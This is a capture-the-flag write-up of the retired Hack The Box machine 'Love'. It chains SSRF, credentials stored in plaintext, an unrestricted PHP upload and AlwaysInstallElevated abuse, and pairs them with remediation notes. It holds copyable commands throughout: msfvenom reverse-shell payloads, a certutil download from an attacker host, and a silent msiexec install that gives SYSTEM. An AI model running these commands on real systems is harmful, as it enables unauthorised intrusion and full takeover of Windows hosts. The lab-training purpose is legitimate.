Love
Summary
I mapped the Windows Apache stack and discovered two virtual hosts — love.htb (the main Voting System site) and staging.love.htb (a staging helper). The staging site's file-preview form made unrestricted server-side HTTP requests, which I pointed at the loopback-only port 5000 to retrieve an internal Password Dashboard that stored the admin credential in plaintext. Those credentials unlocked the Voting System 1.0 admin panel, which accepted an uploaded PHP file as a voter profile photo with no type validation; executing that file gave a remote shell as the low-privileged web-service account Phoebe.
A check of Windows Installer policy showed both the machine-wide and per-user AlwaysInstallElevated registry keys were enabled, allowing any user to run an MSI package as SYSTEM. A crafted MSI reverse shell installed silently completed full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 80,443,135,139,445,3306,5000,5985,5986 $TARGET -oN love_nmap.txtecho "$TARGET love.htb staging.love.htb" | sudo tee -a /etc/hostscurl -skI https://love.htb/ && curl -skI http://staging.love.htb/Exact commands 2
curl -sk http://staging.love.htb/beta.phpcurl -sk -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1/&read=1'FixRestrict server-side URL fetching and block SSRF paths to internal servicesCritical
Exact commands 1
curl -sk -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1:5000/&read=1'Exact commands 2
curl -sk -c /tmp/love_cookie -X POST http://love.htb/admin/login.php -d "username=admin&password=$PASSWORD&login=" -D -curl -sk -b /tmp/love_cookie http://love.htb/admin/index.php | grep -Ei 'logout|dashboard' && echo AUTH_OK || echo AUTH_FAILFixEliminate plaintext credential storage in web-served files and dashboardsCritical
Exact commands 5
msfvenom -p php/reverse_php LHOST=$ATTACKER_IP LPORT=4444 -f raw -o shell.phpcurl -sk -b /tmp/love_cookie -F 'photo=@shell.php;type=image/jpeg' -F 'firstname=Test' -F 'lastname=User' -F 'password=$PASSWORD2' -F 'username=testuser88' -F 'add=' http://love.htb/admin/voters_add.phpnc -lvnp 4444curl -sk http://love.htb/images/shell.phptype C:\Users\Phoebe\Desktop\user.txtFixEnforce strict file-type validation and disable script execution in upload directoriesCritical
Exact commands 8
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f msi -o privesc.msipython3 -m http.server 8080certutil -urlcache -split -f http://$ATTACKER_IP:8080/privesc.msi C:\Windows\Temp\privesc.msinc -lvnp 5555msiexec /quiet /qn /i C:\Windows\Temp\privesc.msitype C:\Users\Administrator\Desktop\root.txtFixDisable the AlwaysInstallElevated Group Policy setting across all machinesCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 80/tcp | http recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |
| 445/tcp | smb recon-sweep-discovered |
| 3306/tcp | mysql MariaDB 10.3.24 or later (unauthorized) |
| 5000/tcp | http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |
| 5040/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 5986/tcp | winrm recon-sweep-discovered |
| 7680/tcp | unknown recon-sweep-discovered |
| 47001/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49668/tcp | unknown recon-sweep-discovered |
| 49669/tcp | unknown recon-sweep-discovered |
| 49670/tcp | unknown recon-sweep-discovered |